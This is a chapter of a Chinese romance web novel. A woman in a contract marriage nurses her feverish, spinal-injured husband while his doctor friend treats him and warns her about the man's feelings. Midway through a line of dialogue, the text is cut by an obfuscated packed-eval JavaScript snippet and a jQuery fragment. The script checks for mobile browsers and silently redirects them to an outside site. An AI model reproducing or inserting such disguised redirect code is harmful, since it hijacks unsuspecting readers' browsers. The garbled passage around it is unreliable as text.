医院走廊的灯光在夜色中渐渐黯淡，许星艺推着林允川的轮椅穿过空旷的走廊，脚步声在寂静中格外清晰。手术成功的喜悦还萦绕在心头，但连日来的疲惫已经如潮水般涌来，让她的脚步不自觉地放慢。
轮椅停在黑色轿车旁时，司机老陈已经熟练地拉开了后座车门，林允川将轮椅刹车锁死，把双腿从踏板放到地上，双手撑住扶手，准备像往常一样将自己转移到座位上。许星艺习惯性地站在他身后，随时准备在他需要时搭把手。
“唔...”林允川的手臂突然一颤，第一次尝试竟然没能成功起身。他的指尖因用力而泛白，额前的碎发被冷汗微微浸湿。
“允川？”许星艺心头一跳，立即上前扶住他微微发抖的肩膀。
林允川深吸一口气，嘴角勉强扯出一个安抚的弧度：“没事，就是坐久了，腿有点麻。”他的声音比平时低沉，带着不易察觉的喘息。
第二次尝试时，他的手臂明显在发抖，整个人像是被抽走了力气，连轮椅都被捏得咯吱作响。老陈见状立即上前，半扶半抱地将他送进车里。许星艺清楚地看到，林允川的指尖死死扣着车门框，指节因用力而泛白，像是在极力忍耐着什么。
“林总，您是不是——”老陈刚开口，林允川便微不可察地摇了摇头，眼神示意他噤声。许星艺注意到他的喉结艰难地滚动了一下，额角渗出细密的汗珠。
许星艺抿了抿唇，没再多问，只是默默坐进车里，将空调温度调高了几度。她看着林允川靠在座椅上，闭目养神的样子，发现他的呼吸比平时急促，眉心始终微微蹙着，长睫毛在苍白的脸上投下一片阴影。
回程的路上，车内异常安静。许星艺忍不住侧眸看他，发现他的脸色比在医院时更加苍白，唇色淡得几乎透明，只有两颊泛着不自然的潮红。
“你还好吗？”她轻声问道，声音里带着掩饰不住的担忧。
林允川缓缓睁开眼，乌黑的眸子在昏暗的车内依然明亮：“嗯，只是有点累。”他的声音沙哑，却依然保持着平稳的语调。
当车驶入林家别墅的庭院，老陈去后备箱取轮椅时，许星艺的手无意间碰到了林允川的手腕——那滚烫的温度让她心头猛地一颤。
“你发烧了？！”她一把扣住他的手腕，掌心下的皮肤热得惊人，脉搏跳动得又快又急。
林允川轻轻抽回手，低声道：“没事，可能是这几天没休息好。”他的语气轻描淡写，却让许星艺心里连带着愧疚隐隐作痛。
“这还叫没事？”许星艺的声音不自觉地拔高，眼眶瞬间红了，“你知不知道你现在的体温有多高？”她的指尖因为紧张而微微发抖。
林允川看着她焦急的样子，唇角微微上扬，声音却依然平稳：“别急，我们先回家。”他伸手轻轻拍了拍她的手背，动作温柔而克制。
许星艺推着林允川的轮椅穿过客厅，木质地板在轮子下发出轻微的声响。她脚步急促，连拖鞋都来不及换，径直将他推进主卧扶他上床，卧室里只开了一盏暖黄的壁灯，光线柔和地笼罩着整个空间。
“坐好别动。”她语气坚决，快步走向衣帽间，从高处取下一个皮质医药箱。箱盖打开时发出熟悉的"咔嗒"声，里面整齐摆放着各种药品，她的手指在药盒间快速翻找，最后抽出一支电子体温计。
林允川靠在床头，看着她忙碌的背影，嘴角微微上扬。他伸手接过体温计时，指尖不经意擦过她的掌心，带着不寻常的热度。
"滴——"五分钟后，体温计的提示音在安静的卧室里格外刺耳。许星艺盯着屏幕上显示的"38.5℃"，瞳孔猛地收缩。
“马上去医院。”她转身就要去拿外套，动作又快又急，衣角带起一阵风。
林允川的反应更快。他伸手扣住她的手腕，力道不大却不容挣脱：“别大惊小怪。”他的声音因为发烧而有些沙哑，“只是普通感冒。”
许星艺猛地转身，眼眶已经红了：“38.5℃叫普通感冒？”她的声音微微发抖，“你知不知道你现在的身体状况...”
话说到一半突然哽住。她看着林允川苍白的脸色，额头上细密的汗珠，还有那双依然温柔注视着她的眼睛，心脏像被一只无形的手狠狠攥住。
林允川轻轻叹了口气：“奶奶最近血压不稳定。”他的声音很轻，“这么晚了，现在去医院，她一定会知道。”说这句话的时候，他地看了一眼卧室门。
许星艺咬住下唇，尝到一丝铁锈味。她这才注意到自己的牙齿已经深深陷入干燥的下唇，咬出血来。
“那也不能...”她的声音哽咽了。
林允川抬手，指腹轻轻擦过她的眼角，拭去一滴还没来得及落下的泪：“别哭。”他的拇指在她脸颊上停留了一秒，“我叫方宁过来。”
电话拨出去不到二十分钟，卧室门的敲门声就响了。许星艺小跑着去开门，看到方宁站在门口，白大褂外套着一件深色大衣，仿佛还带着外面的寒意，手里拎着专业的出诊箱。
“许小姐？”方宁明显愣了一下，目光在她身上停留了几秒，又越过她看向屋内，随即露出恍然大悟的表情。
许星艺顾不上解释，急忙侧身让路：“方医生，他烧到38.5℃了。”
方宁快步走进卧室，看到靠在床头的林允川时，眉头立刻皱了起来。他放下医药箱，动作利落地取出听诊器：“我的林总，您这是要把自己折腾进医院才甘心？”
检查过程中，许星艺站在一旁，手指无意识地绞着衣角。她看着方宁的表情越来越凝重，心跳也跟着加速。
“疲劳过度，免疫力下降。”方宁一边配药一边摇头，“再加上久坐导致血液循环不畅，再这样下去，很容易引发感染。”
他取出注射器时，许星艺不自觉地往前迈了一步。方宁熟练地给林允川打了一针退烧药，又取出几盒药放在床头柜上。
“最严重的是，”方宁的表情突然变得严肃，“你已经连续一个月没做复健了。”他转向许星艺，“许小姐知道允川每周需要做两次专业复健吗？”
“复健？”许星艺猛地抬头，震惊地看向林允川，“你从来没提过...”
林允川闭了闭眼：“不是什么大事。”
“不是什么大事？”方宁的声音提高了几分，“脊髓损伤后的复健是终身性的！错过一次都可能影响恢复进度，你倒好，两天打渔三天晒网的...”
许星艺的心猛地沉了下去，她以为他的损伤已经稳定下来了，不知道他还需要复健来维持。她突然想起这些天来，林允川总是工作到深夜，有时她半夜醒来，还能看见书房亮着灯。这个人，也太不把自己的身体当回事了……
“从下周开始。”她声音坚定，目光直视林允川的眼睛，“我陪你去复健。一次都不能少。”
林允川看着她倔强的表情，无奈地叹了口气，却没有反驳。方宁心里却暗喜，终于有人可以治他了。
方宁收拾好医药箱，临走前又叮嘱道：“今晚必须卧床休息。如果明早体温还不降，必须去医院。”他看向许星艺，“就拜托许小姐监督了。”
许星艺将方宁送到大门外，夜风卷着落叶在他们脚边打了个旋。方宁提着医药箱，几次停下脚步回头看她，嘴唇微动却又咽了回去。
“方医生，”许星艺拢了拢被风吹乱的头发，“您还有什么
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16177089|180762||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
要嘱咐的吗？”
方宁的手指在医药箱提手上紧了紧：“允川不仅仅是我的患者，更是我的朋友。这话我不知道该不该说...”月光照在他紧锁的眉头上，投下一片阴影。
“您直说无妨。”许星艺向前迈了半步，路灯将她的影子拉得很长。
方宁深吸一口气：“你是他出事后，第一个能走进这栋老宅的异性。”他的目光越过许星艺，望向二楼亮着灯的窗户，“我不管你们之间有什么约定，但是你应该能感觉到他对你的特别。”
一片落叶打着旋落在许星艺肩头，她却没有拂去。
“这些年...”方宁的声音突然低沉下来，“他过得很不容易。如果你没有那个意思...”他顿了顿，喉结滚动了一下，“请别给他太多希望。那场车祸带走的不仅是他的双腿，还有他接受新感情的勇气。”
许星艺的指尖地掐进了掌心，低头认真思考着方宁的话。夜风突然大了起来，吹乱了方宁的白大褂。他最后看了许星艺一眼，转身走向停在路边的车，背影在路灯下显得格外孤独。
卧室门轻轻合上的声响在寂静中格外清晰。刚刚方宁的话，却仍然环绕在她的心头。
许星艺站在床边，目光久久停留在林允川熟睡的面容上。壁灯昏黄的光线描摹着他深邃的轮廓，在他眼窝处投下浅浅的阴影。
他睡着了，却睡得并不安稳。浓密的睫毛在眼下投下一片阴影，眉头仍微微蹙着，仿佛在梦中也不得安宁。薄唇抿成一条直线，呼吸声比平时要重一些，带着发烧特有的灼热。
许星艺不自觉地放轻了呼吸，生怕惊扰了他的睡眠。她注意到他放在被子外的手——那修长的手指即使在睡梦中也微微蜷曲着，像是在防备什么。他的睡姿很规矩，却透着一丝不自然的僵硬，那是长期与病痛相伴的人才会有的习惯。
一滴汗珠顺着他光洁的额头滑下，许星艺下意识地伸手，却在即将触碰到他时停住了。她轻手轻脚地拧了条湿毛巾，小心翼翼地替他拭去额上的汗水。指尖不经意擦过他太阳穴处跳动的青筋，那里的温度依然烫得惊人。
床头柜上的药盒还开着，许星艺的目光扫过那些复杂的药名——有些是退烧的，有些是消炎的，还有几瓶她从未见过的处方药。她突然想起方宁说的话，关于复健，关于脊髓损伤，关于那些她从未注意到的细节，关于他对她的感情。
窗外，夜风夹着寒意轻轻摇动着树影，在窗帘上投下摇曳的图案。许星艺在床边的椅子上坐下，静静地看着这个在商场上叱咤风云的男人此刻卸下所有防备的模样。他平日里总是挺得笔直的脊背此刻微微蜷着，像是终于允许自己短暂地示弱。许星艺的心口泛起一阵酸涩，像是被人轻轻攥住了心脏。她终于明白，这个看似强大的男人，一直在独自背负着太多她不曾想象的重量。
夜深了，许星艺依旧坐在床边守着。月光透过纱帘洒进来，勾勒出林允川深邃的轮廓。她想起这两个多月以来，他默默为她做的一切：发动各种人脉资源为星乐寻找心源，高薪聘请专家来主刀，在她加班时让厨房温着宵夜，甚至记得她随口提过的喜欢的食物……而这些，都早已超过了当初协议婚姻时约定的范畴。
这些细节像羽毛一样轻轻拂过她的心尖。许星艺不得不承认，自己对这个男人的感情正在悄然变化。但这是感激？是依赖？还是...更复杂的什么？
床上的林允川突然不安地动了动，被子滑落一半。许星艺俯身帮他掖好被角，却听见他含糊地呢喃：“别走...”
她的心跳突然加速。这个在商场上叱咤风云的男人，此刻脆弱得像个孩子。许星艺轻轻握住他滚烫的手：“我不走。”